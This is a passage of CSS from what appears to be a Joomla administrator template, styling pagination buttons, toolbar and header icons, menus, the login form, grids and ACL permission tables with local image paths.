img, th.center img { float: none; } td.right,th.right { text-align: right; } .container { clear: both; text-decoration: none; text-align:center; } * html .container { display: inline-block; } table.admintable th, table.admintable td { font-size: 1.091em; } table#global-checkin td { font-size: 1.182em; } table#global-checkin td.active { background-color: #E8F6FE !important; } table#global-checkin tbody tr.row0:hover td { background-color: #FFF; } table#global-checkin tbody tr.row1:hover td { background-color: #F0F0F0; } a.saveorder { width: 16px; height: 16px; display:block; overflow: hidden; background: url(../images/admin/filesave.png) no-repeat; float: right; margin-right: 8px; } a.saveorder.inactive { background-position: 0 -16px; } /* -- EDITOR STYLES ----------------------------- */ #editor-xtd-buttons { padding-top: 10px; } /* -- BUTTON STYLES ----------------------------- */ /* Pagination on backend */ .button1, .button1 div { height: 1%; float: right; } .button2-left, .button2-right, .button2-left div, .button2-right div { float: left; } .button1 { background: url(../images/j_button1_left.png) no-repeat; white-space: nowrap; padding-left: 10px; margin-left: 5px; } .button1 .next { background: url(../images/j_button1_next.png) 100% 0 no-repeat; } .button1 a { display: block; height: 26px; float: left; line-height: 26px; font-size: 1.091em; font-weight: bold; color: #333; cursor: pointer; padding: 0 35px 0 6px; } .button1 a:hover { text-decoration: none; color: #0B55C4; } .button2-left a, .button2-right a, .button2-left button, .button2-right button, .button2-left span, .button2-right span { display: block; height: 22px; float: left; line-height: 22px; font-size: 1em; color: #333; cursor: pointer; } .button2-left span,.button2-right span { cursor: default; color: #999; } .button2-left .page a, .button2-right .page a, .button2-left .page span, .button2-right .page span, .button2-left .blank a, .button2-right .blank a, .button2-left .blank span, .button2-right .blank span, .button2-left .blank button, .button2-right .blank button { padding: 0 6px; } .page span,.blank span { color: #000; font-weight: bold; } .button2-left a:hover, .button2-right a:hover, .button2-left button:hover, .button2-left button:hover { text-decoration: none; color: #0B55C4; } .button2-left a, .button2-left span, .button2-left button { padding: 0 24px 0 6px; } .button2-right a, .button2-right span, .button2-right button { padding: 0 6px 0 24px; } .button2-left { background: url(../images/j_button2_left.png) no-repeat; float: left; margin-right: 10px; } .button2-right { background: url(../images/j_button2_right.png) 100% 0 no-repeat; float: left; margin-left: 5px; margin-right: 10px; } .button2-right .prev { background: url(../images/j_button2_prev.png) no-repeat; } .button2-right.off .prev { background: url(../images/j_button2_prev_off.png) no-repeat; } .button2-right .start { background: url(../images/j_button2_first.png) no-repeat; } .button2-right.off .start { background: url(../images/j_button2_first_off.png) no-repeat; } .button2-left .page, .button2-left .blank { background: url(../images/j_button2_right_cap.png) 100% 0 no-repeat; } .button2-left .next { background: url(../images/j_button2_next.png) 100% 0 no-repeat; } .button2-left.off .next { background: url(../images/j_button2_next_off.png) 100% 0 no-repeat; } .button2-left .end { background: url(../images/j_button2_last.png) 100% 0 no-repeat; } .button2-left.off .end { background: url(../images/j_button2_last_off.png) 100% 0 no-repeat; } .button2-left .image { background: url(../images/j_button2_image.png) 100% 0 no-repeat; } .button2-left .readmore { background: url(../images/j_button2_readmore.png) 100% 0 no-repeat; } .button2-left .pagebreak { background: url(../images/j_button2_pagebreak.png) 100% 0 no-repeat; } .button2-left .blank { background: url(../images/j_button2_blank.png) 100% 0 no-repeat; } .button2-left .article { background: url(../images/j_button2_readmore.png) 100% 0 no-repeat; } a.pointer { cursor: pointer; } button { margin-top: 4px; background: #fff; border: 1px solid #ccc; text-decoration: none; } button:hover { cursor: pointer; background: #E8F6FE; text-decoration: none; border: 1px solid #aaa; } div.button2-left button { background: transparent; margin-top: 0; border: 0 solid #ccc; } div.button2-left button { background: transparent; border: 0 solid #aaa; } /* -- TOOLTIP STYLES ----------------------------- */ .tip { float: left; background: #ffc; border: 1px solid #D4D5AA; padding: 5px; max-width: 400px; z-index: 50; } .tip-title { padding: 0; margin: 0; font-size: 1em; font-weight: bold; margin-top: -15px; padding-top: 15px; padding-bottom: 5px; background: url(../images/selector-arrow.png) no-repeat; } .tip-text { font-size: 1em; margin: 0; } /* -- CALENDAR STYLES ----------------------------- */ a img.calendar { width: 16px; height: 16px; margin-left: 3px; background: url(../images/calendar.png) no-repeat; cursor: pointer; vertical-align: middle; } /* -- SYSTEM MESSAGE STYLES ----------------------------- */ #system-message dd.message ul { background-image: url(../images/notice-info.png); background-repeat: no-repeat; } #system-message dd.error ul { background-image: url(../images/notice-alert.png); background-repeat: no-repeat; } #system-message dd.warning ul { background-image: url(../images/notice-note.png); background-repeat: no-repeat; } #system-message dd.notice ul { background-image: url(../images/notice-note.png); background-repeat: no-repeat; } /* -- LOGIN STYLES ----------------------------- */ .login { margin: 50px auto 100px !important; width: 575px; } form#form-login { clear: both; padding: 10px 0 10px 0; } h1 { margin: 10px 0 5px 10px; } p { margin: 0 0 15px 10px; padding: 0; font-size: 1em; } #section-box { float: right; width: 340px; margin-left: 10px; margin-right: 10px; background-color: #fff; } #section-box .m { padding: 5px; } #section-box .padding { background: none; padding: 0; } #lock { background: url(../images/j_login_lock.png) 50% 0 no-repeat; width: 150px; height: 137px; } fieldset.loginform { border: 0 none; width: auto; } label#mod-login-password-lbl, label#mod-login-username-lbl, label#mod-login-language-lbl { display:block; margin:5px 15px 16px 0; } input#mod-login-username, input#mod-login-password, select#lang { float:right; margin: 0 0 20px 0; clear:right; min-width: 145px; } .login-submit { border: 0; padding: 0; margin: 0; width: 0; height: 0; } #form-login .button-holder { float: right; padding-right: 5px; clear: right; margin-top: 10px; } /* -- JGRID STYLES ----------------------------- */ /* Admin backend grid table elements */ a.jgrid:hover { text-decoration: none;} .jgrid span.state { display: inline-block; height: 16px; width: 16px; } .jgrid span.text { display:none; } .jgrid span.publish { background-image: url(../images/admin/tick.png); } .jgrid span.unpublish { background-image: url(../images/admin/publish_x.png); } .jgrid span.archive { background-image: url(../images/menu/icon-16-archive.png); } .jgrid span.trash { background-image: url(../images/menu/icon-16-trash.png); } .jgrid span.default { background-image: url(../images/menu/icon-16-default.png); } .jgrid span.notdefault { background-image: url(../images/menu/icon-16-notdefault.png); } .jgrid span.checkedout { background-image: url(../images/admin/checked_out.png); } .jgrid span.downarrow { background-image: url(../images/admin/downarrow.png); } .jgrid span.downarrow_disabled { background-image: url(../images/admin/downarrow0.png); background-position: 0 -12px; } .jgrid span.uparrow { background-image: url(../images/admin/uparrow.png); } .jgrid span.uparrow_disabled { background-image: url(../images/admin/uparrow0.png); background-position: 0 -12px; } .jgrid span.published { background-image: url(../images/admin/publish_g.png); } .jgrid span.expired { background-image: url(../images/admin/publish_r.png); } .jgrid span.pending { background-image: url(../images/admin/publish_y.png); } .jgrid span.warning { background-image: url(../images/admin/publish_y.png); } .jgrid span.protected { background-image: url(../images/admin/icon-16-protected.png); } /* -- ICON STYLES ----------------------------- */ .icon-16-alert { background-image: url(../images/menu/icon-16-alert.png); } .icon-16-archive { background-image: url(../images/menu/icon-16-archive.png); } .icon-16-article { background-image: url(../images/menu/icon-16-article.png); } .icon-16-banners { background-image: url(../images/menu/icon-16-banner.png); } .icon-16-banners-clients { background-image: url(../images/menu/icon-16-banner-client.png); } .icon-16-banners-tracks { background-image: url(../images/menu/icon-16-banner-tracks.png); } .icon-16-banners-cat { background-image: url(../images/menu/icon-16-banner-categories.png); } .icon-16-category { background-image: url(../images/menu/icon-16-category.png); } .icon-16-checkin { background-image: url(../images/menu/icon-16-checkin.png); } .icon-16-clear { background-image: url(../images/menu/icon-16-clear.png); } .icon-16-component { background-image: url(../images/menu/icon-16-component.png); } .icon-16-config { background-image: url(../images/menu/icon-16-config.png); } .icon-16-content { background-image: url(../images/menu/icon-16-content.png); } .icon-16-contact { background-image: url(../images/menu/icon-16-contacts.png); } .icon-16-contact-cat { background-image: url(../images/menu/icon-16-contacts-categories.png); } .icon-16-cpanel { background-image: url(../images/menu/icon-16-cpanel.png); } .icon-16-default { background-image: url(../images/menu/icon-16-default.png); } .icon-16-featured { background-image: url(../images/menu/icon-16-featured.png); } .icon-16-groups { background-image: url(../images/menu/icon-16-groups.png); } .icon-16-help { background-image: url(../images/menu/icon-16-help.png); } .icon-16-help-this { background-image: url(../images/menu/icon-16-help-this.png); } .icon-16-help-forum { background-image: url(../images/menu/icon-16-help-forum.png); } .icon-16-help-docs { background-image: url(../images/menu/icon-16-help-docs.png); } .icon-16-help-jed { background-image: url(../images/menu/icon-16-help-jed.png); } .icon-16-help-jrd { background-image: url(../images/menu/icon-16-help-jrd.png); } .icon-16-help-trans { background-image: url(../images/menu/icon-16-help-trans.png); } .icon-16-help-community { background-image: url(../images/menu/icon-16-help-community.png); } .icon-16-help-security { background-image: url(../images/menu/icon-16-help-security.png); } .icon-16-help-dev { background-image: url(../images/menu/icon-16-help-dev.png); } .icon-16-help-shop { background-image: url(../images/menu/icon-16-help-shop.png); } .icon-16-info { background-image: url(../images/menu/icon-16-info.png); } .icon-16-install { background-image: url(../images/menu/icon-16-install.png); } .icon-16-joomlaupdate { background-image: url(../images/menu/icon-16-install.png); } .icon-16-language { background-image: url(../images/menu/icon-16-language.png); } .icon-16-levels { background-image: url(../images/menu/icon-16-levels.png); } .icon-16-logout { background-image: url(../images/menu/icon-16-logout.png); } .icon-16-maintenance { background-image: url(../images/menu/icon-16-maintenance.png); } .icon-16-massmail { background-image: url(../images/menu/icon-16-massmail.png); } .icon-16-media { background-image: url(../images/menu/icon-16-media.png); } .icon-16-menu { background-image: url(../images/menu/icon-16-menu.png); } .icon-16-menumgr { background-image: url(../images/menu/icon-16-menumgr.png); } .icon-16-messages { background-image: url(../images/menu/icon-16-messaging.png); } .icon-16-messages-add { background-image: url(../images/menu/icon-16-new-privatemessage.png); } .icon-16-messages-read { background-image: url(../images/menu/icon-16-messages.png); } .icon-16-module { background-image: url(../images/menu/icon-16-module.png); } .icon-16-newarticle { background-image: url(../images/menu/icon-16-newarticle.png); } .icon-16-newcategory { background-image: url(../images/menu/icon-16-newcategory.png); } .icon-16-newgroup { background-image: url(../images/menu/icon-16-newgroup.png); } .icon-16-newlevel { background-image: url(../images/menu/icon-16-newlevel.png); } .icon-16-newuser { background-image: url(../images/menu/icon-16-newuser.png); } .icon-16-nopreview { background-image: url(../images/menu/icon-16-nopreview.png); } .icon-16-plugin { background-image: url(../images/menu/icon-16-plugin.png); } .icon-16-profile { background-image: url(../images/menu/icon-16-user.png); } .icon-16-preview { background-image: url(../images/menu/icon-16-preview.png); } .icon-16-purge { background-image: url(../images/menu/icon-16-purge.png); } .icon-16-readmess { background-image: url(../images/menu/icon-16-readmess.png); } .icon-16-redirect { background-image: url(../images/menu/icon-16-redirect.png); } .icon-16-search { background-image: url(../images/menu/icon-16-search.png); } .icon-16-finder { background-image: url(../images/menu/icon-16-search.png); } .icon-16-section { background-image: url(../images/menu/icon-16-section.png); } .icon-16-static { background-image: url(../images/menu/icon-16-static.png); } .icon-16-stats { background-image: url(../images/menu/icon-16-stats.png); } .icon-16-themes { background-image: url(../images/menu/icon-16-themes.png); } .icon-16-trash { background-image: url(../images/menu/icon-16-trash.png); } .icon-16-user { background-image: url(../images/menu/icon-16-user.png); } .icon-16-user-note { background-image: url(../images/menu/icon-16-user-note.png); } .icon-16-back-user { background-image: url(../images/menu/icon-16-back-user.png); } .icon-16-writemess { background-image: url(../images/menu/icon-16-writemess.png); } .icon-16-newsfeeds { background-image: url(../images/menu/icon-16-newsfeeds.png); } .icon-16-newsfeeds-cat { background-image: url(../images/menu/icon-16-newsfeeds-cat.png); } .icon-16-weblinks { background-image: url(../images/menu/icon-16-links.png); } .icon-16-weblinks-cat { background-image: url(../images/menu/icon-16-links-cat.png); } /* -- TOOLBAR ICON STYLES ----------------------------- */ .icon-32-send { background-image: url(../images/toolbar/icon-32-send.png); } .icon-32-delete { background-image: url(../images/toolbar/icon-32-delete.png); } .icon-32-help { background-image: url(../images/toolbar/icon-32-help.png); } .icon-32-cancel { background-image: url(../images/toolbar/icon-32-cancel.png); } .icon-32-checkin { background-image: url(../images/toolbar/icon-32-checkin.png); } .icon-32-options { background-image: url(../images/toolbar/icon-32-config.png); } .icon-32-apply { background-image: url(../images/toolbar/icon-32-apply.png); } .icon-32-back { background-image: url(../images/toolbar/icon-32-back.png); } .icon-32-export { background-image: url(../images/toolbar/icon-32-export.png); } .icon-32-forward { background-image: url(../images/toolbar/icon-32-forward.png); } .icon-32-save { background-image: url(../images/toolbar/icon-32-save.png); } .icon-32-edit { background-image: url(../images/toolbar/icon-32-edit.png); } .icon-32-copy { background-image: url(../images/toolbar/icon-32-copy.png); } .icon-32-move { background-image: url(../images/toolbar/icon-32-move.png); } .icon-32-new { background-image: url(../images/toolbar/icon-32-new.png); } .icon-32-upload { background-image: url(../images/toolbar/icon-32-upload.png); } .icon-32-assign { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-html { background-image: url(../images/toolbar/icon-32-html.png); } .icon-32-css { background-image: url(../images/toolbar/icon-32-css.png); } .icon-32-menus { background-image: url(../images/toolbar/icon-32-menu.png); } .icon-32-publish { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-unblock { background-image: url(../images/toolbar/icon-32-unblock.png); } .icon-32-unpublish { background-image: url(../images/toolbar/icon-32-unpublish.png); } .icon-32-restore { background-image: url(../images/toolbar/icon-32-revert.png); } .icon-32-trash { background-image: url(../images/toolbar/icon-32-trash.png); } .icon-32-archive { background-image: url(../images/toolbar/icon-32-archive.png); } .icon-32-unarchive { background-image: url(../images/toolbar/icon-32-unarchive.png); } .icon-32-preview { background-image: url(../images/toolbar/icon-32-preview.png); } .icon-32-default { background-image: url(../images/toolbar/icon-32-default.png); } .icon-32-refresh { background-image: url(../images/toolbar/icon-32-refresh.png); } .icon-32-save-new { background-image: url(../images/toolbar/icon-32-save-new.png); } .icon-32-save-copy { background-image: url(../images/toolbar/icon-32-save-copy.png); } .icon-32-error { background-image: url(../images/toolbar/icon-32-error.png); } .icon-32-new-style { background-image: url(../images/toolbar/icon-32-new-style.png); } .icon-32-delete-style { background-image: url(../images/toolbar/icon-32-delete-style.png); } .icon-32-purge { background-image: url(../images/toolbar/icon-32-purge.png); } .icon-32-remove { background-image: url(../images/toolbar/icon-32-remove.png); } .icon-32-featured { background-image: url(../images/toolbar/icon-32-featured.png); } .icon-32-stats { background-image: url(../images/toolbar/icon-32-stats.png); } .icon-32-print { background-image: url(../images/toolbar/icon-32-print.png); } .icon-32-extension { background-image: url(../images/toolbar/icon-32-extension.png); } .toolbar-inactive { background-position: 0 32px; } /* -- HEADER ICON STYLES ----------------------------- */ .icon-48-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-generic { background-image: url(../images/header/icon-48-generic.png); } .icon-48-banners { background-image: url(../images/header/icon-48-banner.png); } .icon-48-banners-categories { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-edit { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-banners-clients { background-image: url(../images/header/icon-48-banner-client.png); } .icon-48-banners-tracks { background-image: url(../images/header/icon-48-banner-tracks.png); } .icon-48-checkin { background-image: url(../images/header/icon-48-checkin.png); } .icon-48-clear { background-image: url(../images/header/icon-48-clear.png); } .icon-48-contact { background-image: url(../images/header/icon-48-contacts.png); } .icon-48-contact-categories { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-edit { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-purge { background-image: url(../images/header/icon-48-purge.png); } .icon-48-cpanel { background-image: url(../images/header/icon-48-cpanel.png); } .icon-48-config { background-image: url(../images/header/icon-48-config.png); } .icon-48-groups { background-image: url(../images/header/icon-48-groups.png); } .icon-48-groups-add { background-image: url(../images/header/icon-48-groups-add.png); } .icon-48-levels { background-image: url(../images/header/icon-48-levels.png); } .icon-48-levels-add { background-image: url(../images/header/icon-48-levels-add.png); } .icon-48-module { background-image: url(../images/header/icon-48-module.png); } .icon-48-menu { background-image: url(../images/header/icon-48-menu.png); } .icon-48-menu-add { background-image: url(../images/header/icon-48-menu-add.png); } .icon-48-menumgr { background-image: url(../images/header/icon-48-menumgr.png); } .icon-48-newsfeeds-categories { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-edit { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-trash { background-image: url(../images/header/icon-48-trash.png); } .icon-48-user { background-image: url(../images/header/icon-48-user.png); } .icon-48-user-add { background-image: url(../images/header/icon-48-user-add.png); } .icon-48-user-edit { background-image: url(../images/header/icon-48-user-edit.png); } .icon-48-user-profile { background-image: url(../images/header/icon-48-user-profile.png); } .icon-48-inbox { background-image: url(../images/header/icon-48-inbox.png); } .icon-48-new-privatemessage { background-image: url(../images/header/icon-48-new-privatemessage.png); } .icon-48-msgconfig { background-image: url(../images/header/icon-48-message_config.png); } .icon-48-langmanager { background-image: url(../images/header/icon-48-language.png); } .icon-48-mediamanager { background-image: url(../images/header/icon-48-media.png); } .icon-48-plugin { background-image: url(../images/header/icon-48-plugin.png); } .icon-48-help_header { background-image: url(../images/header/icon-48-help_header.png); } .icon-48-impressions { background-image: url(../images/header/icon-48-stats.png); } .icon-48-browser { background-image: url(../images/header/icon-48-stats.png); } .icon-48-searchtext { background-image: url(../images/header/icon-48-stats.png); } .icon-48-thememanager { background-image: url(../images/header/icon-48-themes.png); } .icon-48-writemess { background-image: url(../images/header/icon-48-writemess.png); } .icon-48-featured { background-image: url(../images/header/icon-48-featured.png); } .icon-48-sections { background-image: url(../images/header/icon-48-section.png); } .icon-48-article-add { background-image: url(../images/header/icon-48-article-add.png); } .icon-48-article-edit { background-image: url(../images/header/icon-48-article-edit.png); } .icon-48-article { background-image: url(../images/header/icon-48-article.png); } .icon-48-content-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-install { background-image: url(../images/header/icon-48-extension.png); } .icon-48-dbbackup { background-image: url(../images/header/icon-48-backup.png); } .icon-48-dbrestore { background-image: url(../images/header/icon-48-dbrestore.png); } .icon-48-dbquery { background-image: url(../images/header/icon-48-query.png); } .icon-48-systeminfo { background-image: url(../images/header/icon-48-info.png); } .icon-48-massmail { background-image: url(../images/header/icon-48-massmail.png); } .icon-48-redirect { background-image: url(../images/header/icon-48-redirect.png); } .icon-48-search { background-image: url(../images/header/icon-48-search.png); } .icon-48-finder { background-image: url(../images/header/icon-48-search.png); } .icon-48-newsfeeds { background-image: url(../images/header/icon-48-newsfeeds.png); } .icon-48-newsfeeds-cat { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-weblinks { background-image: url(../images/header/icon-48-links.png); } .icon-48-weblinks-categories { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-edit { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-add { background-image: url(../images/header/icon-48-category-add.png); } /* -- BASIC MENU STYLES ----------------------------- */ #menu, #menu ul, #menu li { margin: 0; padding: 0; border: 0 none; } #menu { position: relative; z-index: 100; } #menu li { float: left; position: relative; list-style: none; display: inline; } #menu li a { display: block; white-space: nowrap; } #menu li ul { visibility: hidden; position: absolute; } #menu li li ul { top: 0; left: 0; } #menu li:hover ul { visibility: visible; } #menu li:hover ul li ul { visibility: hidden; } #menu li:hover li:hover ul { visibility: visible; left: 100%; } /* ---- Menu layout -------------------------- */ #menu li { border-left: 1px solid #fff; border-right: 1px solid #d8d8d8; } #menu li li { border: 0; display: block; float: none; } #menu ul { border: 0.1em solid #ccc; background: #f6f6f6 url(../images/bg-menu.gif) repeat-y left; } #menu ul li.node { background: transparent url(../images/j_arrow.png) no-repeat right 50%; } #menu ul li.separator { background: #DDE1E6 url(../images/bg-menu.gif); height: 1px ; } #menu a, #menu div { padding: 0.35em 1em 0.35em; margin: 0 1px 0 1px; color: #333333; line-height: 1.6em; vertical-align: middle; font-size: 1em; font-weight: bold; text-decoration: none; cursor: default; background-repeat: no-repeat; background-position: left 50%; } #menu li.disabled a, #menu li.disabled:hover a { color: gray; background-color: transparent; margin: 0 1px; border-left-width: 0; border-right-width: 0; } #menu ul a { font-size: 1em; font-weight: normal; padding-left: 25px; padding-right: 20px; line-height: 1.2em; } /* 1 level - hover */ #menu li:hover a { background-color: #dbe4e9; border-left: 1px solid #025a8d; border-right: 1px solid #025a8d; margin: 0; } /* 2 level - normal */ #menu li:hover li a { background-color: transparent; border: 1px solid transparent; margin: 1px; } /* 2 level - hover */ #menu li:hover li:hover a { background-color: #dbe4e9; border-color: #025a8d; } /* 3 level - normal */ #menu li:hover li:hover li a { background-color: transparent; border-color: transparent; } /* 3 level - hover */ #menu li:hover li:hover li a:hover { background-color: #dbe4e9; border-color: #025a8d; } a.icon-16-menu span img { vertical-align: bottom; } /* ---- Submenu styles -------------------------- */ #submenu { list-style: none; padding: 0; margin: 0; line-height: 115%; } #submenu li { float: left; padding: 0; margin: 0; } #submenu li a, #submenu span.nolink { cursor: pointer; padding: 0 15px; border-right: 1px solid #ccc; font-size: 1.1em; font-weight: bold; color: #808080; line-height: 14px; height: 12px; } #submenu span.nolink { color: #999; } #submenu a:hover, #submenu a.active, #submenu span.nolink.active { color: #146295; background: #FFF; } /* -- COMPONENT STYLES ------------------------------ */ div.message { text-align: center; font-family: Arial, Helvetica, sans-serif; font-size: 1.091em; padding: 3px; border: 1px solid #e0e0e0; margin-bottom: 10px; font-weight: bold; color: #333; } .helpIndex { border: 0; width: 100%; height: 100%; padding: 0; overflow: auto; } ul.subext li { margin-left: 0; } .unotes ul, .unotes ol { list-style: none; list-style-position: inside; padding-left: 0; padding-right: 0; } .unotes div.utitle { padding: 10px; float: left; font-size: 1.2em; line-height: 1.2em; } .unotes h4 { margin-top: 0; margin-bottom:0; font-size: 1.5em; } .unotes .ubody { font-size: 1.2em; line-height: 1.5em; } ul.alternating > li:nth-child(odd) { background-color:#eee; } ul.alternating > li:nth-child(even) { background-color:#f9f9f9; } ol.alternating > li:nth-child(odd) { background-color:#eee; } ol.alternating > li:nth-child(even) { background-color:#f9f9f9; } .helpFrame { border-left: 0 solid #222; border-right: none; border-top: none; border-bottom: none; width: 100%; height: 800px; padding: 0 5px 0 10px; } #treecellhelp { display: block; position: relative; float: left; margin: 0; overflow: hidden; } #datacellhelp { display: block; margin: 0; margin-top: 10px; padding: 2px 0 0 0; } .outline { border: 1px solid #cccccc; background: #ffffff; padding: 2px; } /* -- MODAL STYLES ----------- */ h2.modal-title { margin-left: 15px; margin-bottom: 0; margin-top: 5px; } ul.menu_types { padding: 0 0 0 15px; width: 95%; margin: 0; } ul.menu_types li, dl.menu_type dd ul li { width: 240px; list-style: none; display: block; float: left; margin-right: 10px; } ul.menu_types li { width: 47%; } dl.menu_type { width: 240px; margin: 0; padding: 0; } dl.menu_type dt { font-weight: bold; font-size: 1.091em; float: left; margin: 13px 0 5px 0; border-bottom: 1px solid #666; width: 240px; } dl.menu_type dd { clear: left; margin: 0; } dl.menu_type dd ul li { margin: 0; } dl.menu_type dd ul { margin-left: -40px; } ul#new-modules-list { padding: 5px 0 0 15px; width:95%; margin: 0; list-style: none; border-top: 1px solid #666; } ul#new-modules-list li { list-style: none; display: block; float:left; margin: 0 20px 0 0; width: 47%; } ul#new-modules-list li a { font-size: 1.091em; line-height: 1.8em; } /* -- ACL STYLES ----------- */ /* Relocated from com_users/media/default.css */ .scroll { overflow: auto; } /* Filter Form */ fieldset ol, ol#property-values { margin: 0; padding: 0; } fieldset li, ol#property-values li { list-style: none; margin: 0; padding: 5px; } fieldset.filter { border: 0; margin: 0; padding: 0 0 5px; } fieldset.filter ol { border: 0; list-style: none; margin: 0; padding: 5px 0 0; } fieldset.filter ol li { float: left; padding: 0 5px 0 0; } fieldset.filter ol li fieldset { border: 0; margin: 0; padding: 0; } fieldset.filter .left { float: left; } fieldset.filter .right { float: right; } fieldset#buttonbar { border: 0; text-align: right; } fieldset#buttonbar ul { list-style: none; margin: 0; padding: 0; } fieldset#buttonbar li { margin: 0; padding: 5px; } /* ---- Configuration Modal -------------------------- */ div#config #submenu { list-style-image: none; list-style-position: outside; list-style-type: none; margin: 0; padding: 0; } div#config div.m { border-left: 1px solid #CCC; border-right: 1px solid #CCC; padding: 0 8px; } div#config #submenu li { float: left; margin: 0; padding: 0; } div#config #submenu li a, div#config #submenu span.nolink { border-right: 1px solid #CCC; color: #0B55C4; cursor: pointer; font-weight: 700; height: 12px; line-height: 12px; padding: 0 15px; } div#config #submenu li:last-child a { border-right: none; } div#config #submenu a.active, div#config #submenu span.nolink.active { color: #000; text-decoration: underline; } div#config #submenu-box { background: #F6F6F6 none repeat scroll 0; margin-bottom: 10px; } div#config #submenu-box .padding { padding: 0; } /* -- Relocated from com_users/media/grid.css ----------- */ a.move_up { background-image: url('../images/admin/uparrow.png'); display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } span.move_up { background-image: url('../images/admin/uparrow0.png'); display: inline-block; height: 16px; width: 16px; } a.move_down { background-image: url('../images/admin/downarrow.png'); display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } span.move_down { background-image: url('../images/admin/downarrow0.png'); display: inline-block; height: 16px; width: 16px; } a.grid_false { background-image: url('../images/admin/publish_x.png'); display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } a.grid_true { background-image: url('../images/admin/tick.png'); display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } a.grid_trash { background-image: url('../images/admin/icon-16-trash.png'); display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } /* -- ACL PANEL STYLES ----------- */ div.acl-options { width: 100%; } /* All Tabs */ table.aclsummary-table, table.aclmodify-table { border-collapse: collapse; width: 100%; font-size: 1.091em; } td.col1 { font-size: 1.091em; text-align: left; padding: 4px; } tr.row1 { background-color: #f0f0ee; } table.aclsummary-table caption, table.aclmodify-table caption { display: none; } table.aclmodify-table select { margin-bottom: 3px; } /* Summary Tab */ table.aclsummary-table th.col1 { width: 25%; } table.aclsummary-table th.col2, table.aclsummary-table th.col3, table.aclsummary-table th.col4, table.aclsummary-table th.col5, table.aclsummary-table th.col6 { width: 15%; vertical-align: bottom; text-align: center; } table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6, table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-left: 1px solid #cbcbcb; } /* Icons */ span.icon-16-unset, span.icon-16-allowed, span.icon-16-denied, span.icon-16-locked { padding-left: 18px; } span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat; } span.icon-16-locked { background: url(../images/admin/checked_out.png) 0 0 no-repeat; } label.icon-16-allow, label.icon-16-deny, a.icon-16-allow, a.icon-16-deny, a.icon-16-allowinactive, a.icon-16-denyinactive { display: block; height: 16px; width: 16px; margin: 0 auto; } label.icon-16-allow { background: url(../images/admin/icon-16-allow.png) no-repeat; text-indent: -9999em; position: relative; left: 40%; } label.icon-16-deny { background: url(../images/admin/icon-16-deny.png) no-repeat; text-indent: -9999em; position: relative; left: 40%; } a.icon-16-allow { background: url(../images/admin/icon-16-allow.png) no-repeat; } a.icon-16-deny { background: url(../images/admin/icon-16-deny.png) no-repeat; } a.icon-16-allowinactive { background: url(../images/admin/icon-16-allowinactive.png) no-repeat; } a.icon-16-denyinactive { background: url(../images/admin/icon-16-denyinactive.png) no-repeat; } /* Create, Edit, Edit State & Delete Tabs */ table.aclmodify-table th.col2, table.aclmodify-table th.col3, table.aclmodify-table th.col4 { width: 20%; vertical-align: bottom; text-align: center; } table.aclmodify-table select { margin: 1px; } table.aclsummary-table td label, table.aclmodify-table td label { min-width: 20px; } /* ACL footer and legend */ ul.acllegend { list-style: none; font-size: 1.091em; padding-bottom: 10px; } ul.acllegend li { display: block; float: left; padding-right: 20px; margin: 15px 0 15px 10px; } ul.acllegend li.acl-allowed { padding-left: 20px; padding-right: 10px; background: url(../images/admin/icon-16-allow.png) no-repeat left; } ul.acllegend li.acl-denied { padding-left: 20px; padding-right: 20px; background: url(../images/admin/icon-16-deny.png) no-repeat left; } ul.acllegend li.acl-editgroups { padding-right: 10px; } ul.acllegend li.acl-resetbtn { padding-right: 0; } table#acl-config { width: 100%; margin-top: 15px; border-collapse:collapse; } table#acl-config th { height: 25px; background: #F4F4F4; border-bottom: 1px solid silver; vertical-align:middle; } table#acl-config thead th, table#acl-config td { text-align:center; vertical-align:middle; height: 30px; } table#acl-config th.acl-groups { padding-left: 8px; text-align: left; } table#acl-config th.acl-groups span.gi { margin-right: 2px; } table#acl-config td select { float:none; } .acl-action { font-size: 1.091em; margin: auto 0; } .acl-groups { font-size: 1.091em; font-weight: normal; } label#jform_rules-lbl { float: none; white-space: nowrap; display: none; } label#jform_filters-lbl { float: none; white-space: nowrap; display: none; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) right top no-repeat; } /** * Options modal- config */ ul.config-option-list, ul.config-option-list li { margin: 0; padding: 0; list-style: none; } ul.config-option-list fieldset { margin: 0; padding-left: 0; padding-right: 0; } /** * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { margin: 0 !important; padding: 0 !important; border: solid 0 #ccc; background: #fff; 